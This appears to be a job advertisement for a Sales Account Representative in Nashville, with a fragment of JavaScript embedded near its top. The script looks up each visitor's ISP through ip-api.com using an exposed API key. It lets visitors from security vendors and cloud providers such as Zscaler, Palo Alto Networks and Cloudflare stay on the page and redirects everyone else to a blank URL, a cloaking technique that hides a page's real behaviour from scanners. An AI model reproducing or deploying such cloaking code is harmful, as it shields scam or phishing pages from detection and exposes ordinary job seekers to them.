Sales Account Representative
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a motivated Sales Account Representative in Nashville, TN to build and maintain strong client relationships, drive sales growth, and deliver exceptional customer service.
Key Responsibilities:
- Identify and pursue new sales opportunities within assigned accounts and target markets.
- Manage existing client accounts to ensure satisfaction and retention.
- Prepare and deliver product presentations and proposals tailored to client needs.
- Collaborate with internal teams to coordinate order processing and resolve issues promptly.
- Maintain accurate records of sales activities and customer interactions.
Skills Needed:
- Strong communication and interpersonal skills.
- Ability to understand client needs and provide effective solutions.
- Self-motivated with a proactive approach to sales.
- Organization and time management skills.
- Proficiency in CRM software and MS Office Suite.
Benefits include competitive salary, health insurance, retirement plans, ongoing training, and opportunities for career advancement.